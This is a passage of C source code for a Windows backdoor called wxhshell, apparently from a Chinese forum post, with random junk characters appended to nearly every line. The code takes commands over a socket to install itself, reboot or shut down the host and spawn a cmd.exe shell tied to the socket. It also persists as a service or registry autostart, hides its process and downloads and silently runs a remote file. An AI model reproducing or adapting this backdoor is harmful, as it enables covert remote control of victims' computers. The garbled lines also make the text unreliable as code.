  else { #X$\&,Yn"  
Yh7t"=o  
    switch(cmd[0]) { KF}hV9IU  
  Dy&i&5E.-l  
  // 帮助 =svN#q5s  
  case '?': { ~8+ Zs  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1GRCV8 "Z^  
    break; >R_&Ouh:  
  } J)> c9w  
  // 安装 _LnpnL:  
  case 'i': { .Efk*  
    if(Install()) (WJRi:NP?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jpq~  
    else t?gic9 q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T!{w~'=F  
    break; .{^5X)  
    } 9*wK@yEl  
  // 卸载 9FR5Jw>t  
  case 'r': { N"R]Yp;j  
    if(Uninstall()) HiFUv>,u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @HCVmg:  
    else ~~P5k:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kTB 0b*V  
    break; Zx@a/jLO[n  
    } 'LC1(V!_j  
  // 显示 wxhshell 所在路径 }<r)~{UV  
  case 'p': { $PPi5f}HD  
    char svExeFile[MAX_PATH]; Zi i   
    strcpy(svExeFile,"\n\r"); Q&;9 x?e  
      strcat(svExeFile,ExeFile); ?V=ZIGj  
        send(wsh,svExeFile,strlen(svExeFile),0); JbbzV>  
    break; ,0sm  
    } qDIZJ h  
  // 重启 U)gH}0n&  
  case 'b': { =WATyY:s  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _VN?#J)o  
    if(Boot(REBOOT)) 6 "sSoj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B9 uoVcW  
    else { yyJ  f%{  
    closesocket(wsh); ]m<$}  
    ExitThread(0); I236 RIq  
    }  (ZizuHC  
    break; F>l] 9!P|m  
    } RqrdAkg  
  // 关机 P@B]  
  case 'd': { x9g#<2w8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p6@)-2^  
    if(Boot(SHUTDOWN)) n\DV3rXI9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {tZ.v@  
    else { m s \}  
    closesocket(wsh); {\5  
    ExitThread(0); ~ 7s!VR  
    } q9_OGd|P  
    break; * u>\57W  
    } o.!Dq7 R  
  // 获取shell M }D}K\)  
  case 's': { 2ilQXy  
    CmdShell(wsh); aFYIM`?(  
    closesocket(wsh); X"Swi&4  
    ExitThread(0); yf+)6D -9n  
    break; TJRCH>E[a  
  } 4[e X e$  
  // 退出 Yq KCeg  
  case 'x': { =H8;iS2R  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6&x@.1('z  
    CloseIt(wsh); 7:1Lol-V  
    break; QWYJ *  
    } m_]Y{3C  
  // 离开 Xv^qVn4  
  case 'q': { i/4>2y9/F4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); tD)J*]G  
    closesocket(wsh); ga+dt  
    WSACleanup(); y)@wjH{6  
    exit(1); K0>zxqY  
    break; y N-9[P8C  
        } 0(HU}I  
  } f:} x7_Q  
  } sgFEK[w.y  
k,*XG$2h  
  // 提示信息 mzgfFNm^G)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Zy/_ E@C}u  
} hgq;`_;1,  
  } 0=YI@@n)  
qE"OB  
  return; zDG b7S{  
} z03K=aZ  
9'B `]/L  
// shell模块句柄 WyiQoN'q  
int CmdShell(SOCKET sock) |6- nbj  
{ 2>%=U~5  
STARTUPINFO si; HRA|q  
ZeroMemory(&si,sizeof(si)); x%B%f`]8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; GbI/4<)l}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a7opCmL  
PROCESS_INFORMATION ProcessInfo; l/5 hp.  
char cmdline[]="cmd"; [/r(__.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  ob]w;"  
  return 0; XCQs2CHt  
} h*\%vr  
Le^ n +5x  
// 自身启动模式 ;xTpE2 -~  
int StartFromService(void) SXh-A1t  
{ wCBplaojJ  
typedef struct :ws<-Qy  
{ (bS&D/N.  
  DWORD ExitStatus; }SZd  
  DWORD PebBaseAddress; 3v-~K)hl?  
  DWORD AffinityMask; Vurq t_nb  
  DWORD BasePriority; %cn<ych G  
  ULONG UniqueProcessId; SpBy3wd  
  ULONG InheritedFromUniqueProcessId; ~xTt204S  
}   PROCESS_BASIC_INFORMATION; -9?]IIVb  
;_=&-mz  
PROCNTQSIP NtQueryInformationProcess; omx=  
Mtx4'WZ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~W/z96' 5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V7/Rby Q  
h";L  
  HANDLE             hProcess; 53 h0UL  
  PROCESS_BASIC_INFORMATION pbi; ca9X19NG  
ckn(`I  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hy!3yB@  
  if(NULL == hInst ) return 0; HzJz+ x:  
]?4hyN   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (9)Q ' 'S  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Q!3_$<5<E>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ['D]>Ot68  
<_+X 88  
  if (!NtQueryInformationProcess) return 0; BA.uw_^4  
XjBD{m(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7_t'( /yu  
  if(!hProcess) return 0; zQ PQ  
E{(;@PzE  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; xIn:ZKJ'  
i.#:zU%o  
  CloseHandle(hProcess); !)$Zp\Sg  
~TtiO#,t  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +ZV5o&V>  
if(hProcess==NULL) return 0; /9X7A;O  
Hn:Crl y#  
HMODULE hMod; b.938#3,  
char procName[255]; <UCl@5g&  
unsigned long cbNeeded; /wG2vE8e  
'+ ?X  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9+N-eW_U  
l,).p  
  CloseHandle(hProcess); G~m<;  
2<3K3uz  
if(strstr(procName,"services")) return 1; // 以服务启动 !R$`+wZ62  
\)e'`29;  
  return 0; // 注册表启动 6LhTBV  
} wIgS3K  
Bw.i}3UT6  
// 主模块 4p wH>1  
int StartWxhshell(LPSTR lpCmdLine) 73-p*o(pt  
{ q(w(Sd)#L  
  SOCKET wsl; X>^fEQq"  
BOOL val=TRUE; ,x$,l  
  int port=0; ^zr`;cJ+c  
  struct sockaddr_in door; Y/oHu@ _  
+C)~bb*  
  if(wscfg.ws_autoins) Install(); i#O SC5ZI  
UxBpdm%dvP  
port=atoi(lpCmdLine); 'ga/  
VU#7%ufu&  
if(port<=0) port=wscfg.ws_port; jiGTA:v  
EM_d8o)`B  
  WSADATA data; gM]:Ma  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1;iUWU1@  
Q{/Ef[(a@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   HZOMlOZ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p<%d2@lp  
  door.sin_family = AF_INET; Rb;'O89Hj@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); n"8Yv~v*2j  
  door.sin_port = htons(port); iow"n$/  
4Tc~b3\!Y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )%]J>&/0J  
closesocket(wsl); 3' 'me  
return 1; IGgL7^MF  
} ,: ^u-b|  
{{1G`;|v 9  
  if(listen(wsl,2) == INVALID_SOCKET) { =MWHJ'3-/  
closesocket(wsl); 3c%caK  
return 1; g2]Qv@nxw  
} u@444Vzg  
  Wxhshell(wsl); `@%LzeGz  
  WSACleanup(); X-/]IH DN  
3U}%2ARo_  
return 0; ^f@=:eWI  
[><Tm \(:  
} =|9!vzG4  
3$/IC@+  
// 以NT服务方式启动 ';"VDLb3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) MOC/KNb  
{ YZ7.1`8  
DWORD   status = 0; z!\*Y =e  
  DWORD   specificError = 0xfffffff; r|Z{-*`  
w(F%^o\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0}9h]X'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; sq]F;=[5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; < Z$J<]I  
  serviceStatus.dwWin32ExitCode     = 0; 9u_Pj2%56.  
  serviceStatus.dwServiceSpecificExitCode = 0; ;a3}~s  
  serviceStatus.dwCheckPoint       = 0; /@5YW"1  
  serviceStatus.dwWaitHint       = 0; 13f)&#, F  
)}v l\7=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); P {'b:C  
  if (hServiceStatusHandle==0) return; 2zpr~cB=  
DwF hK*  
status = GetLastError(); #E]59_  
  if (status!=NO_ERROR) <N @Gu!N8  
{ f mGc^d|=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; QL*IiFR  
    serviceStatus.dwCheckPoint       = 0; vSh`&w^*  
    serviceStatus.dwWaitHint       = 0; ?ubro0F:  
    serviceStatus.dwWin32ExitCode     = status; 5-M-X#(  
    serviceStatus.dwServiceSpecificExitCode = specificError; AwN!;t_0+N  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); s^SJY{  
    return; ]^]wP]R_  
  } =H~j,K  
u:EiwRW  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; pk~WrqK}  
  serviceStatus.dwCheckPoint       = 0; M=Wz  
  serviceStatus.dwWaitHint       = 0; )e{}V\;q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); QW"! (`K  
} Pz^544\~ou  
4P0}+  
// 处理NT服务事件,比如:启动、停止 @ P|y{e6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) x"g&#Vq ~  
{ _f{{( 7  
switch(fdwControl) j.YA 2mr  
{ +|rj4j)L&'  
case SERVICE_CONTROL_STOP: _*zt=zn>  
  serviceStatus.dwWin32ExitCode = 0; vv7I_nK?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; OJxl<Q=z  
  serviceStatus.dwCheckPoint   = 0; }\LQ3y"[  
  serviceStatus.dwWaitHint     = 0; 8ipez/  
  { Debv4Gr;^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =lC7gS!U  
  } /<3UQLMa  
  return; 1&2>LE/P  
case SERVICE_CONTROL_PAUSE: fR|A(u#9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; EQ ttoOO  
  break; Wjc'*QCPl  
case SERVICE_CONTROL_CONTINUE: nP$9CA  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ElXFeJ%[G  
  break; c%&>p||  
case SERVICE_CONTROL_INTERROGATE: IK]d3owA  
  break; y}H!c;  
}; \Cj B1] I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /( LL3cZK  
} `x|?&Ytmf9  
+n)9Tz5  
// 标准应用程序主函数 (#'>(t(4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @@%ataUSBT  
{ q*KAk{kR(v  
16 $B>  
// 获取操作系统版本 ;nGa.= "L  
OsIsNt=GetOsVer(); o}!PQ#`M  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ME dWLFf  
UI#h&j5pW  
  // 从命令行安装 W4N{S.#!  
  if(strpbrk(lpCmdLine,"iI")) Install(); F5Va+z,jg  
j@9T.P1  
  // 下载执行文件 ;);kEq/=P  
if(wscfg.ws_downexe) { h\e.e3/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Y0>y8U V  
  WinExec(wscfg.ws_filenam,SW_HIDE); Z}QB.$&  
} % `3jL7|  
xfQ1T)F3g  
if(!OsIsNt) { [vgtc.V  
// 如果时win9x,隐藏进程并且设置为注册表启动 wj+*E6o-n  
HideProc(); ,s(,S  
StartWxhshell(lpCmdLine); HP =+<]?{G  
} 8_8l.!~  
else =Uh$&m  
  if(StartFromService()) ^s=8!=A(  
  // 以服务方式启动 L$-T,Kze  
  StartServiceCtrlDispatcher(DispatchTable); 9gFUaDLo  
else $?Wb}DU7_L  
  // 普通方式启动 PeT'^?>  
  StartWxhshell(lpCmdLine); 6 r"<jh#  
ise-O1'  
return 0; "fI6Cpc  
}
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只看该作者 1 发表于: 2006-10-10
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